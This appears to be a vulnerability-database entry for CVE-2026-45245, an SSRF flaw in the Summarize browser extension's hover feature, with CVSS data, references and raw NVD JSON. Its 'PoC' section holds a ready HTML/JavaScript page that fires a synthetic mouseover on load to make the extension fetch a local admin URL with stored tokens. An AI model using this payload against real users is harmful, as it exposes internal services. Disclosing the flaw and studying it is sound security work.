CVE-2026-45245

Description

Summarize prior to 0.15.1 contains a vulnerability in the hover summary feature that allows malicious pages to dispatch synthetic mouseover events over attacker-controlled links, causing the extension to make authenticated daemon requests using stored tokens without verifying event trustworthiness. Attackers can place local or private-network URLs behind hoverable links to route authenticated requests through the daemon, potentially accessing sensitive internal endpoints when users interact with attacker-controlled content.

CVSS Details

CVSS Score

7.4

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:steipete:summarize:*:*:*:*:*:*:*:* - VULNERABLE

Summarize < 0.15.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-45245: Triggering Summarize via Synthetic Events -->
<!-- This PoC demonstrates how a malicious site can trigger the extension without real user interaction -->

<html>
<body>
<h2>CVE-2026-45245 PoC</h2>
<p>Open this page with the vulnerable Summarize extension installed.</p>

<!-- The target URL points to a local/internal resource (SSRF/CSRF target) -->
<a href="http://127.0.0.1:8080/admin/config" id="target-link">Innocent Link</a>

<script>
    // Function to simulate user interaction
    function triggerExploit() {
        const link = document.getElementById('target-link');
        
        // Create a synthetic mouseover event
        // The extension fails to check event.isTrusted, so this works
        const syntheticEvent = new MouseEvent('mouseover', {
            bubbles: true,
            cancelable: true,
            view: window
        });

        // Dispatch the event to the link
        // This causes the Summarize extension to fetch the URL using stored tokens
        link.dispatchEvent(syntheticEvent);
        
        console.log('Synthetic mouseover event dispatched. Check network logs for unauthorized request.');
    }

    // Trigger automatically on load (or on interaction depending on CVSS UI:R interpretation)
    window.onload = triggerExploit;
</script>

</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45245
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45245
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45245/
[4] VulDB https://vuldb.com/cve/CVE-2026-45245
[5] https://github.com/steipete/summarize/commit/ecbb2c414255aa480a15d0d8b205224c14cfdbcb
[6] https://github.com/steipete/summarize/pull/218
[7] https://github.com/steipete/summarize/releases/tag/v0.15.2
[8] https://www.vulncheck.com/advisories/summarize-unauthorized-daemon-request-via-untrusted-events
[9] https://github.com/steipete/summarize/pull/218

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45245", "sourceIdentifier": "[email protected]", "published": "2026-05-18T20:16:38.593", "lastModified": "2026-05-19T01:34:04.253", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Summarize prior to 0.15.1 contains a vulnerability in the hover summary feature that allows malicious pages to dispatch synthetic mouseover events over attacker-controlled links, causing the extension to make authenticated daemon requests using stored tokens without verifying event trustworthiness. Attackers can place local or private-network URLs behind hoverable links to route authenticated requests through the daemon, potentially accessing sensitive internal endpoints when users interact with attacker-controlled content."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}, {"lang": "en", "value": "CWE-940"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:steipete:summarize:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.15.1", "matchCriteriaId": "FDA6FF18-A9BB-4892-B428-AB85BB58E16A"}]}]}], "references": [{"url": "https://github.com/steipete/summarize/commit/ecbb2c414255aa480a15d0d8b205224c14cfdbcb", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/steipete/summarize/pull/218", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Patch"]}, {"url": "https://github.com/steipete/summarize/releases/tag/v0.15.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/summarize-unauthorized-daemon-request-via-untrusted-events", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/steipete/summarize/pull/218", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Patch"]}]}}